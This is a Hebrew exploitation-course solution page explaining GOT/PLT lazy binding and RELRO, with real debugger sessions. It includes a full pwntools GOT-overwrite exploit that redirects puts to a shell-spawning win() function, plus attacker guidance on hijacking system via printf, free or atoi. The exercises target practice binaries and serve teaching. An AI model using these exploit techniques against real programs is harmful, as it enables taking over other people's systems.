לדלג לתוכן

4.1 GOT וPLT לעומק פתרון

פתרון - GOT וPLT לעומק

כאן נפתור את כל התרגילים עד הסוף, עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. אם עוד לא ניסיתם לבד, חזרו לקובץ התרגול. הכתובות המספריות כאן (0x401xxx, 0x404xxx) הן דוגמה מבינארי אחד שקומפל אצלי - אצלכם הן עשויות להיות מעט שונות, אבל המבנה זהה. אל תעתיקו כתובות, מדדו אצלכם.


פתרון תרגיל 1 - לראות את הפתרון קורה

נתחיל מבדיקת ההגנות:

$ checksec --file=./trace
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

קיבלנו Partial RELRO בדיוק כמו שרצינו - כלומר .got.plt ניתן לכתיבה ו-lazy binding פעיל. מוצאים את כתובת תא ה-GOT של puts:

$ readelf -r ./trace | grep puts
0000000404018  000200000007 R_X86_64_JUMP_SLO  0000000000000000 puts@GLIBC_2.2.5 + 0

השדה Offset הוא כתובת התא: 0x404018. עכשיו ב-GDB, לפני שהרצנו כלום:

pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>:  0x0000000000401036

התא מצביע על 0x401036. נוודא שזה בתוך ה-PLT:

$ objdump -d -j .plt ./trace | grep -A3 '<puts@plt>'
0000000000401030 <puts@plt>:
  401030:  ff 25 e2 2f 00 00   jmp    QWORD PTR [rip+0x2fe2]  # 404018
  401036:  68 00 00 00 00      push   0x0
  40103b:  e9 e0 ff ff ff      jmp    401020 <.plt>

הכתובת 0x401036 היא בדיוק puts@plt+6, הוראת ה-push 0x0. כלומר לפני הפתרון, תא ה-GOT מצביע בחזרה לתוך ה-PLT, למסלול הפתרון. זהו המצב "לא נפתר".

עכשיו נעצור על הקריאה הראשונה ונבדוק לפני ואחרי:

pwndbg> disassemble main
   0x0000000000401136 <+0>:   push   rbp
   0x0000000000401137 <+1>:   mov    rbp,rsp
   0x000000000040113a <+4>:   lea    rax,[rip+0xec3]
   0x0000000000401141 <+11>:  mov    rdi,rax
   0x0000000000401144 <+14>:  call   0x401030 <puts@plt>
   ...

pwndbg> break *main+14
pwndbg> run

pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>:  0x0000000000401036       <-- still puts@plt+6

pwndbg> finish                                       # let the first puts finish
first call

pwndbg> x/gx 0x404018
0x404018 <puts@got.plt>:  0x00007ffff7e5c420        <-- changed! now libc

התא קפץ מ-0x401036 (בתוך ה-PLT) ל-0x7ffff7e5c420 (בתוך libc). נאמת שזו באמת puts:

pwndbg> info symbol 0x7ffff7e5c420
puts in section .text of /lib/x86_64-linux-gnu/libc.so.6

מכאן, הקריאה השנייה ל-puts תלך ישירות ל-0x7ffff7e5c420 בלי הפותר.

למה זה עבד: ראינו שחור על גבי לבן ששלושת הצעדים של lazy binding קורים פעם אחת. לפני הקריאה הראשונה התא מצביע ל-PLT, אחרי הקריאה הראשונה הוא מצביע ל-libc. איך להכליל: בכל בינארי דינמי, readelf -r נותן לכם את כתובת התא, ו-x/gx ב-GDB מראה אם הוא כבר נפתר. תא שמצביע לתוך ה-PLT עצמו = עדיין לא נקרא; תא שמצביע ל-libc = כבר נקרא לפחות פעם.


פתרון תרגיל 2 - למפות את ה-GOT

מוצאים את הסקשנים:

$ readelf -S ./trace | grep -E '\.got|\.plt'
  [12] .plt      PROGBITS  0000000000401020  00001020  ...  AX
  [23] .got      PROGBITS  0000000000403fe8  00002fe8  ...  WA
  [24] .got.plt  PROGBITS  0000000000404000  00003000  ...  WA

הסקשן .got.plt מתחיל ב-0x404000. נדפיס את ששת התאים הראשונים אחרי שהגענו ל-main (כדי שהטוען כבר מילא את GOT[1] ו-GOT[2]):

pwndbg> break main
pwndbg> run
pwndbg> x/6gx 0x404000
0x404000: 0x0000000000403e10  0x00007ffff7ffe2e0
0x404010: 0x00007ffff7fd8d30  0x0000000000401036
0x404020: 0x0000000000401046  0x0000000000000000

נפרק:

  • התא GOT[0] = 0x403e10 - כתובת של _DYNAMIC (טבלת המידע הדינמי). נמצאת בתוך הבינארי.
  • התא GOT[1] = 0x7ffff7ffe2e0 - מצביע ל-link_map, מבנה של הטוען הדינמי. כתובת libc/ld.
  • התא GOT[2] = 0x7ffff7fd8d30 - הפותר.
  • התא GOT[3] = 0x401036 - התא של puts, מצביע בחזרה ל-puts@plt+6.
  • התא GOT[4] = 0x401046 - תא נוסף (במקרה הזה של סמל אחר), גם הוא מצביע לתוך ה-PLT.

נאמת את GOT[2]:

pwndbg> info symbol 0x7ffff7fd8d30
_dl_runtime_resolve_xsavec in section .text of /lib64/ld-linux-x86-64.so.2

זה הפותר (בגרסאות glibc מודרניות שמו _dl_runtime_resolve_xsavec או _dl_runtime_resolve_xsave, וריאנטים של אותה פונקציה). זה בדיוק היעד שאליו PLT0 קופץ.

למה GOT[3] מצביע בהתחלה לתוך ה-PLT? כי זה הבסיס של lazy binding. אילו התא היה מצביע ישר ל-libc, לא היינו צריכים פותר בכלל - אבל אז היינו חייבים לפתור את כל הסמלים בזמן טעינה (זה בדיוק Full RELRO). בגלל שרוצים פתרון עצל, התא מתחיל בהצבעה למסלול הפתרון (push index; jmp PLT0), וזה מפעיל את הפותר רק בקריאה הראשונה.

למה זה עבד: ראינו שהטבלה היא מערך, שלושת התאים הראשונים שמורים לתשתית הטעינה, והשאר מצביעים בהתחלה לתוך ה-PLT. איך להכליל: GOT[2] תמיד מצביע לפותר. אם אי פעם תרצו לחטוף כל קריאת פונקציה שעדיין לא נפתרה בבת אחת, זו מטרה מעניינת - אבל זה כבר סיפור מתקדם.


פתרון תרגיל 3 - Partial מול Full RELRO

בדיקת ההגנות של שני הבינארים:

$ checksec --file=./gotdemo
RELRO: Partial RELRO   ...   NX enabled   No PIE

$ checksec --file=./gotdemo_full
RELRO: Full RELRO      ...   NX enabled   No PIE

הדגל BIND_NOW מבדיל ביניהם:

$ readelf -d ./gotdemo_full | grep -i -E 'bind|now'
 0x000000000000001e (FLAGS)   BIND_NOW
 0x000000006ffffffb (FLAGS_1) Flags: NOW

$ readelf -d ./gotdemo | grep -i -E 'bind|now'
                              (no output - no BIND_NOW)

הדגל BIND_NOW אומר לטוען: פתור את כל הסמלים כבר בזמן הטעינה, לא בעצלות. ברגע שכל הסמלים נפתרו מראש, אין סיבה שה-GOT יישאר ניתן לכתיבה, אז הטוען מסמן אותו קריאה-בלבד. זה בדיוק ההבדל: Partial RELRO חייב להשאיר את .got.plt פתוח כדי לתמוך ב-lazy binding, Full RELRO לא צריך את זה.

נראה את ההרשאות בזמן ריצה. ב-gotdemo (Partial):

pwndbg> break main
pwndbg> run
pwndbg> vmmap 0x404018
    0x404000  0x405000  rw-p   ...  gotdemo        <-- rw: writable

ב-gotdemo_full (Full):

pwndbg> break main
pwndbg> run
pwndbg> vmmap 0x404018
    0x403000  0x404000  r--p   ...  gotdemo_full   <-- r: read-only

ההבדל ברור: אותו תא GOT, בבינארי Partial הדף שלו rw-, ובבינארי Full הוא r--. עכשיו ננסה בכוונה לכתוב לתא ב-gotdemo_full:

pwndbg> set {long}0x404018 = 0x41414141
Cannot access memory at address 0x404018

הכתיבה נכשלה - הדף קריאה-בלבד. זו בדיוק ההגנה של Full RELRO.

למה זה עבד: ראינו את ההבדל בשלוש רמות - checksec, readelf -d (הדגל BIND_NOW), ו-vmmap (ההרשאות בפועל). איך להכליל: לפני שמתכננים דריסת GOT, בדקו RELRO. אם זה Full - תזרקו את הרעיון מיד ותחפשו מטרת כתיבה אחרת. אם זה Partial - .got.plt פתוח לעסקים.


פתרון תרגיל 4 - דריסת GOT ראשונה

מוצאים את שתי הכתובות ב-pwntools:

>>> from pwn import *
>>> elf = ELF('./gotdemo')
>>> hex(elf.got['puts'])
'0x404018'
>>> hex(elf.symbols['win'])
'0x401176'

התכנית: נזין addr = 0x404018 (התא של puts) ו-val = 0x401176 (הכתובת של win). התוכנית תבצע *(0x404018) = 0x401176, כלומר תדרוס את puts@got בכתובת של win. אחר כך, puts("bye") תעבור דרך puts@plt, תקפוץ עקיף דרך puts@got שכעת מצביע על win, ותריץ win() -> system("/bin/sh").

ה-exploit המלא:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./gotdemo')

p = process('./gotdemo')

puts_got = elf.got['puts']       # 0x404018
win      = elf.symbols['win']    # 0x401176

log.info(f'puts@got = {hex(puts_got)}')
log.info(f'win      = {hex(win)}')

# addr = puts@got
p.recvuntil(b'addr (hex):')
p.sendline(hex(puts_got).encode())

# val = win
p.recvuntil(b'val (hex):')
p.sendline(hex(win).encode())

# the write happened. puts("bye") -> win() -> shell
p.interactive()

הרצה:

$ python3 exploit.py
[*] '.../gotdemo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './gotdemo': pid 20194
[*] puts@got = 0x404018
[*] win      = 0x401176
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat /etc/hostname
pwnbox

קיבלנו shell. הסכימה של מה שקרה בזיכרון:

before the write:                    after p.sendline(win):
+-----------------------------+      +-----------------------------+
| 0x404018: -> libc puts      |      | 0x404018: -> 0x401176 (win) |
+-----------------------------+      +-----------------------------+

puts("bye"):  jmp *[0x404018]  -->  0x401176 (win)  -->  system("/bin/sh")

למה זה עבד: ניצלנו את העובדה ש-puts@got הוא מצביע פונקציה שניתן לכתיבה (Partial RELRO), והתוכנית קופצת דרכו בכל קריאה ל-puts. הכתיבה השרירותית נתנה לנו את היכולת להחליף את התוכן. הבינארי לא-PIE, אז win בכתובת קבועה ולא היינו צריכים leak. איך להכליל: דריסת GOT = כתיבה שרירותית + .got.plt פתוח + קריאה עתידית לפונקציה שדרסתם. בכל פעם שיש לכם write-what-where ו-Partial RELRO, זו אחת המטרות הראשונות לבדוק.


פתרון תרגיל 5 - אותו exploit על Full RELRO

מחליפים את היעד ל-gotdemo_full:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./gotdemo_full')
p = process('./gotdemo_full')

p.recvuntil(b'addr (hex):')
p.sendline(hex(elf.got['puts']).encode())
p.recvuntil(b'val (hex):')
p.sendline(hex(elf.symbols['win']).encode())

p.interactive()

הרצה:

$ python3 exploit_full.py
[+] Starting local process './gotdemo_full': pid 20455
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$

התוכנית קרסה. נראה איפה בדיוק, תחת GDB:

$ printf '0x404018\n0x401176\n' > payload
$ gdb ./gotdemo_full
pwndbg> run < payload
...
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401185 in main ()
=> 0x401185 <main+...>:  mov  QWORD PTR [rax], rdx
pwndbg> p/x $rax
$1 = 0x404018

ה-SIGSEGV נופל על ההוראה mov QWORD PTR [rax], rdx - זו בדיוק השורה *(unsigned long *)addr = val בקוד המקור. הרגיסטר rax מכיל 0x404018, כלומר puts@got. הכתיבה עצמה נכשלה, כי הדף של ה-GOT קריאה-בלבד ב-Full RELRO. שום שורה של ה-payload לא הגיעה אפילו ל-puts("bye").

במשפט אחד: הכתיבה נכשלה כי Full RELRO ביצע BIND_NOW ומיפה את דף ה-GOT כקריאה-בלבד, אז הניסיון לכתוב אליו הוא גישת זיכרון לא חוקית.

למה זה עבד (כלומר, למה זה נכשל): זו לא שגיאה ב-exploit. ה-exploit נכון בדיוק כמו בתרגיל 4 - ההגנה פשוט חוסמת אותו ברמת החומרה. איך להכליל: מול Full RELRO אין מה לכוונן ב-exploit של דריסת GOT, זו דלת סגורה. מחפשים מטרת כתיבה אחרת - מצביע ב-heap, __free_hook/__malloc_hook בגרסאות glibc ישנות, return address על המחסנית, וכו'.


פתרון תרגיל 6 (בונוס) - לחשוב כמו תוקף אמיתי

  1. כדי לדרוס עם כתובת של system ב-libc, צריך לדעת את בסיס libc בזמן ריצה. עם ASLR, הבסיס אקראי בכל הרצה, אז חייבים leak - למשל להדפיס כתובת של פונקציית libc מה-GOT, לחשב ממנה את הבסיס, ולהוסיף את ה-offset של system. זה בדיוק התוכן של שיעור 4.4 (libc leak ועקיפת ASLR).

  2. אם נדרוס את puts@got בכתובת של system, אז קריאה מהצורה puts(user_input) תהפוך ל-system(user_input). אם המשתמש שולט ב-user_input ומכניס "/bin/sh" - קיבלנו shell. הטריק: מחפשים בתוכנית מקום שבו הארגומנט ל-puts (או printf) מגיע מקלט המשתמש.

  3. printf, free ו-atoi הם יעדים פופולריים במיוחד:

  4. הארגומנט שלהם לרוב מגיע מהמשתמש. free(ptr), atoi(input), printf(buf) - בכולם הארגומנט הראשון (rdi) הוא נתון שאתם שולטים בו, אז אחרי הדריסה הוא הופך לארגומנט של system.
  5. הם נקראים הרבה פעמים, כך שיש הזדמנות טובה שהתוכנית תקרא להם שוב אחרי הדריסה.
  6. הפונקציה free מעניינת במיוחד כי היא מקבלת מצביע ל-heap שאתם שולטים בתוכן שלו, מה שפותח וריאציות נוספות.

למה זה חשוב: דריסת GOT היא רק חצי מהסיפור. החצי השני הוא מה כותבים (בדרך כלל system או one_gadget, שדורש leak) ואיזו קריאה חוטפים (כזו עם ארגומנט שאתם שולטים בו). את שני החצאים נחבר יחד בשיעורי 4.4 ו-4.5.